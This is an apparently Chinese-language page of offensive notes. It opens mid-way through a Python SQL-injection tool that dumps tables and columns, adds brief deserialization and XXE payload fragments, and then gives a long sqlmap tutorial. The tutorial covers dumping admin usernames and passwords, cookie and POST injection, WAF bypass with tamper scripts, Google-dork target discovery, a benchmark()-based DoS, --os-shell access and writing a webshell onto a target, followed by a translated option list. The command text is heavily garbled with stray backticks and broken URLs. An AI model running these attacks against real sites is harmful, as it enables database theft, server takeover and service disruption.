ColumnNameList = blindjectionColumn(url, TableNameList[0])
print(ColumnNameList)
ColumnName = userinput(4)
if ColumnName == 1:
pass
else:
pass
else: # 指定表名
ColumnNameList = blindjectionColumn(url, TableName)
print(ColumnNameList)
ColumnName = userinput(4)
if ColumnName == 1:
pass
else:
pass
else:#指定了URL
value, flag = GetUrlType(URL_LIST, 1) # 获取注入类型,返回URL
if flag != 0: # 为0则执行盲注
TableNameList = errorJection(value) # 返回表名
TableName = userinput(3) # 请用户输入指定表名,默认表名为第一个
if TableName == 1:
ColumnNameList = errorJectionItem(value, TableNameList[0]) # 根据表名返回字段名
ColumnName = userinput(4)
if ColumnName == 1:
errorJectionValue(value, ColumnNameList, TableNameList[0], True) # 标记传入的是否时列表
else:
errorJectionValue(value, ColumnName, TableName, False)
else: # 如果用户指定了表名
ColumnNameList = errorJectionItem(value, TableName)
errorJectionValue(value, ColumnNameList, TableName, False) # 标记传入的是否时列表
else:#执行盲注
Database = blindjection(url)
TableNameList = blindjectionTable(url)
print(Database, '数据库中的表名:', TableNameList)
TableName = userinput(3)
if TableName == 1:#
ColumnNameList = blindjectionColumn(url, TableNameList[0])
print(TableNameList[0], '表中的字段', ColumnNameList)
ColumnName = userinput(4)
if ColumnName == 1:
blindjectionValue(url, ColumnNameList, TableNameList[0], True)
else:
blindjectionValue(url, ColumnName, TableNameList[0], False)
else:#指定表名
ColumnNameList = blindjectionColumn(url, TableName)
print(TableName, '表中的字段', ColumnNameList)
ColumnName = userinput(4)
if ColumnName == 1:
blindjectionValue(url, ColumnNameList, TableName, True)
else:
blindjectionValue(url, ColumnName, TableName, False)
#主函数
if __name__ == "__main__":
main()

使用方式需要加上传输协议

如:

反序列化

payload:O:1:”S”:1:{s:4:”test”:s:29:”script>”:}

xxe漏洞

]>

&f;

SalMap使用

一、SQLMAP用于Access数据库注入

(1) 猜解是否能注入

1
win``:` `python sqlmap.py ``-``u ``"http://www.xxx.com/en/CompHonorBig.asp?id=7"``Linux ``:` `.lmap.py ``-``u ``"http://www.xxx.com/en/CompHonorBig.asp?id=7"

(2) 猜解表

1
win``:` `python sqlmap.py ``-``u ``"http://www.xxx.com/en/CompHonorBig.asp?id=7"` `--tables``Linux``:` `.lmap.py ``-``u ``"http://www.xxx.com/en/CompHonorBig.asp?id=7"` `--tables

(3) 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)

1
win``:` `python sqlmap.py ``-``u ``"http://www.xxx.com/en/CompHonorBig.asp?id=7"` `--columns -T admin``Linux``:` `.lmap.py ``-``u ``"http://www.xxx.com/en/CompHonorBig.asp?id=7"` `--columns -T admin

(4) 根据字段猜解内容(假如通过3得到字段为username和password)

1
win``:` `python sqlmap.py ``-``u ``"http://www.xxx.com/en/CompHonorBig.asp?id=7"` `--dump -T admin -C "username,password"``Linux``:` `.lmap.py ``-``u ``"http://www.xxx.com/en/CompHonorBig.asp?id=7"` `--dump -T admin -C``"username,[url=]B[/url]password"

二、SQLMAP用于Cookie注入

(1) cookie注入,猜解表

1
win ``:` `python sqlmap.py ``-``u ``"http://www.xxx.org/jsj/shownews.asp"` `--cookie "id=31" --table --level 2

(2) 猜解字段,(通过1的表猜解字段,假如表为admin)

1
win ``:``python sqlmap.py ``-``u ``"http://www.xxx.org/jsj/shownews.asp"` `--cookie "id=31" --columns -T``admin ``--level 2

(3) 猜解内容

1
win ``:``python sqlmap.py ``-``u ``"http://www.xxx.org/jsj/shownews.asp"` `--cookie "id=31" --dump -T``admin ``-``C ``"username,password"` `--level 2

三、SQLMAP用于mysql中DDOS攻击(1) 获取一个Shell

1
win``:``python sqlmap.py ``-``u [``url``]http``:``/``/``192.1``68.1``59.1``/``news.php?``id``=``1``[``/``url``] ``--sql-shell``Linux``:``sqlmap ``-``u [``url``]http``:``/``/``192.1``68.1``59.1``/``news.php?``id``=``1``[``/``url``] ``--sql-shell

(2) 输入执行语句完成DDOS攻击

1
select` `benchmark``(``99999999999``,``0``x``70726``f``62616``e``646``f``70726``f``62616``e``646``f``70726``f``62616``e``646``f``)

四、SQLMAP用于mysql注入

(1) 查找数据库

1
python sqlmap.py ``-``u ``"http://www.xxx.com/link.php?id=321"` `--dbs

(2) 通过第一步的数据库查找表(假如数据库名为dataname)

1
python sqlmap.py ``-``u ``"http://www.xxx.com/link.php?id=321"` `-``D dataname ``--tables

(3) 通过2中的表得出列名(假如表为table_name)

1
python sqlmap.py ``-``u ``"http://www.xxx.com/link.php?id=321"` `-``D dataname ``-``T table_name ``--columns

(4) 获取字段的值(假如扫描出id,user,password字段)

1
python sqlmap.py ``-``u ``"http://www.xxx.com/link.php?id=321"` `-``D dataname ``-``T table_name ``-``C``"id,user,password"` `--dump

五、SQLMAP中post登陆框注入

(1) 其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件

我们在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。

\1. 浏览器打开目标地址http:// www.xxx.com /Login.asp

\2. 配置burp代理(127.0.0.1:8080)以拦截请求

\3. 点击login表单的submit按钮

\4. 这时候Burp会拦截到了我们的登录POST请求

\5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

\6. 运行sqlmap并使用如下命令:

1
.``/``sqlmap.py ``-``r search``-``test.txt ``-``p tfUPass

这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。

注入点:http://testasp.vulnweb.com/Login.asp

几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass

(2) 自动的搜索

1
sqlmap ``-``u [``url``]http``:``/``/``testasp.vulnweb.com``/``Login.asp[``/``url``] ``--forms

(3) 指定参数搜索

1
sqlmap ``-``u [``url``]http``:``/``/``testasp.vulnweb.com``/``Login.asp[``/``url``] ``--data "tfUName=321&tfUPass=321"

六、SQLMAP中Google搜索注入

inurl后面的语言是由自己定的

注入过程中如果选y是注入,如果不是选n

1
sqlmap ``-``g inurl``:``php?``id``=

七、SQLMAP中的请求延迟

参数 –delay –safe-freq

1
python sqlmap.py ``--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1``python sqlmap.py ``--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3

参数

八、SQLMAP绕过WAF防火墙

注入点:http://192.168.159.1/news.php?id=1

1
sqlmap ``-``u [``url``]http``:``/``/``192.1``68.1``59.1``/``news.php?``id``=``1``[``/``url``] ``-``v ``3` `--dbs --batch --tamper "space2morehash.py"

space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py

都是编码方式

space2hash.py base64encode.py charencode.py

九、SQLMAP查看权限

1
sqlmap ``-``u [``url``]http``:``/``/``192.1``68.1``59.1``/``news.php?``id``=``1``[``/``url``] ``--privileges

十、SQLMAP伪静态注入(1) 查找数据库

1
python sqlmap.py ``-``u ``"http://xxx.cn/index.php/Index/view/id/40.html"` `--dbs

(2) 通过1中的数据库查找对应的表 (假如通过1,得到的是dataname)

1
python sqlmap.py ``-``u ``"http://xxx.cn/index.php/Index/view/id/40.html"` `-``D dataname ``--tables

(3) 通过2中的数据表得到字段(假如得到的是tablename表)

1
python sqlmap.py ``-``u ``"http://xxx.cn/index.php/Index/view/id/40.html"` `-``D dataname ``-``T``tablename ``--columns

(4) 通过3得到字段值(假如从3中得到字段id,password)

1
python sqlmap.py ``-``u ``"http://xxx.cn/index.php/Index/view/id/40.html"` `-``D dataname ``-``T``tablename ``-``C ``"password"` `--dump

十一、SQLMAP注入点执行命令与交互写shell

(1) 注入点:http://192.168.159.1/news.php?id=1

此处采用的是Linux系统

1
sqlmap ``-``u [``url``]http``:``/``/``192.1``68.1``59.1``/``news.php?``id``=``1``[``/``url``] ``--os-cmd=ipconfig

出现语言的选择根据实际的测试网站选择语言

指定目标站点D:/www/

(2) 获取Shell

1
sqlmap ``-``u [``url``]http``:``/``/``192.1``68.1``59.1``/``news.php?``id``=``1``[``/``url``] ``--os-shell

出现语言的选择根据实际的测试网站选择语言

指定目标站点D:/www/

输入ipconfig/all

创建用户和删除用户

只要权限足够大,你可以输入使用任何命令。

其他命令参考下面:

从数据库中搜索字段

1
sqlmap ``-``r “c``:``\tools\request.txt” –dbms mysql ``-``D dedecms –search ``-``C admin``,``password

在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

#示例:

1
sqlmap ``-``r “c``:``\request.txt” ``-``p ``id` `–dbms mysql –``file``-``dest “e``:``\php\htdocs\dvwa\inc\include\``1.``php” –``file``-``write` `“f``:``\webshell\``1112.``php”

使用shell命令:

1
sqlmap ``-``r “c``:``\tools\request.txt” ``-``p ``id` `–dms mysql –os``-``shell

接下来指定网站可写目录:

“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

  • -is-dba 当前用户权限(是否为root权限)

  • -dbs 所有数据库

  • -current-db 网站当前数据库

  • -users 所有数据库用户

  • -current-user 当前数据库用户

  • -random-agent 构造随机user-agent

  • -passwords 数据库密码

  • -proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理

  • -time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

Options(选项):

  • -version 显示程序的版本号并退出

  • -h, –help 显示此帮助消息并退出

  • -v VERBOSE 详细级别:0-6(默认为1)

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

  • -d DIRECT 直接连接到数据库。

  • -u URL, –url=URL 目标URL。

  • -l LIST 从Burp或WebScarab代理的日志中解析目标。

  • -r REQUESTFILE 从一个文件中载入HTTP请求。

  • -g GOOGLEDORK 处理Google dork的结果作为目标URL。

  • -c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

这些选项可以用来指定如何连接到目标URL。

  • -data=DATA 通过POST发送的数据字符串

  • -cookie=COOKIE HTTP Cookie头

  • -cookie-urlencode URL 编码生成的cookie注入

  • -drop-set-cookie 忽略响应的Set – Cookie头信息

  • -user-agent=AGENT 指定 HTTP User – Agent头

  • -random-agent 使用随机选定的HTTP User – Agent头

  • -referer=REFERER 指定 HTTP Referer头

  • -headers=HEADERS 换行分开,加入其他的HTTP头

  • -auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

  • -auth-cred=ACRED HTTP身份验证凭据(用户名:密码)

  • -auth-cert=ACERT HTTP认证证书(key_file,cert_file)

  • -proxy=PROXY 使用HTTP代理连接到目标URL

  • -proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)

  • -ignore-proxy 忽略系统默认的HTTP代理

  • -delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒

  • -timeout=TIMEOUT 等待连接超时的时间(默认为30秒)

  • -retries=RETRIES 连接超时后重新连接的时间(默认3)

  • -scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式

  • -safe-url=SAFURL 在测试过程中经常访问的url地址

  • -safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。

  • -b, –banner 检索数据库管理系统的标识

  • -current-user 检索数据库管理系统当前用户

  • -current-db 检索数据库管理系统当前数据库

  • -is-dba 检测DBMS当前用户是否DBA

  • -users 枚举数据库管理系统用户

  • -passwords 枚举数据库管理系统用户密码哈希

  • -privileges 枚举数据库管理系统用户的权限

  • -roles 枚举数据库管理系统用户的角色

  • -dbs 枚举数据库管理系统数据库

  • -D DBname 要进行枚举的指定数据库名

  • -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)

  • -tables 枚举的DBMS数据库中的表

  • -columns 枚举DBMS数据库表列

  • -dump 转储数据库管理系统的数据库中的表项

  • -dump-all 转储所有的DBMS数据库表中的条目

  • -search 搜索列(S),表(S)和/或数据库名称(S)

  • -C COL 要进行枚举的数据库列

  • -U USER 用来进行枚举的数据库用户

  • -exclude-sysdbs 枚举表时排除系统数据库

  • -start=LIMITSTART 第一个查询输出进入检索

  • -stop=LIMITSTOP 最后查询的输出进入检索

  • -first=FIRSTCHAR 第一个查询输出字的字符检索

  • -last=LASTCHAR 最后查询的输出字字符检索

  • -sql-query=QUERY 要执行的SQL语句

  • -sql-shell 提示交互式SQL的shell

Optimization(优化):

这些选项可用于优化SqlMap的性能。

  • -o 开启所有优化开关

  • –predict-output 预测常见的查询输出

  • –keep-alive 使用持久的HTTP(S)连接

  • –null-connection 从没有实际的HTTP响应体中检索页面长度

  • –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

  • -p TESTPARAMETER 可测试的参数(S)

  • –dbms=DBMS 强制后端的DBMS为此值

  • –os=OS 强制后端的DBMS操作系统为这个值

  • –prefix=PREFIX 注入payload字符串前缀

  • –suffix=SUFFIX 注入payload字符串后缀

  • –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

  • –level=LEVEL 执行测试的等级(1-5,默认为1)

  • –risk=RISK 执行测试的风险(0-3,默认为1)

  • –string=STRING 查询时有效时在页面匹配字符串

  • –regexp=REGEXP 查询时有效时在页面匹配正则表达式

  • –text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

  • –technique=TECH SQL注入技术测试(默认BEUST)

  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

  • –union-cols=UCOLS 定列范围用于测试UNION查询注入

  • –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

  • -f, –fingerprint 执行检查广泛的DBMS版本指纹

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

  • –common-tables 检查存在共同表

  • –common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):

这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数

–shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

  • –file-read=RFILE 从后端的数据库管理系统文件系统读取文件

  • –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件

  • –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

  • –os-cmd=OSCMD 执行操作系统命令

  • –os-shell 交互式的操作系统的shell

  • –os-pwn 获取一个OOB shell,meterpreter或VNC

  • –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC

  • –os-bof 存储过程缓冲区溢出利用

  • –priv-esc 数据库进程用户权限提升

  • –msf-path=MSFPATH Metasploit Framework本地的安装路径

  • –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

  • –reg-read 读一个Windows注册表项值

  • –reg-add 写一个Windows注册表项值数据

  • –reg-del 删除Windows注册表键值

  • –reg-key=REGKEY Windows注册表键

  • –reg-value=REGVAL Windows注册表项值

  • –reg-data=REGDATA Windows注册表键值数据

  • –reg-type=REGTYPE Windows注册表项值类型

  • 这些选项可以用来设置一些一般的工作参数。

  • -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中

  • -s SESSIONFILE 保存和恢复检索会话文件的所有数据

  • –flush-session 刷新当前目标的会话文件

  • –fresh-queries 忽略在会话文件中存储的查询结果

  • –eta 显示每个输出的预计到达时间

  • –update 更新SqlMap

  • –save file保存选项到INI配置文件

  • –batch 从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

  • –beep 发现SQL注入时提醒
  • –check-payload IDS对注入payloads的检测测试
  • –cleanup SqlMap具体的UDF和表清理DBMS
  • –forms 对目标URL的解析和测试形式
  • –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
  • –page-rank Google dork结果显示网页排名(PR)
  • –parse-errors 从响应页面解析数据库管理系统的错误消息
  • –replicate 复制转储的数据到一个sqlite3数据库
  • –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
  • –wizard 给初级用户的简单向导界面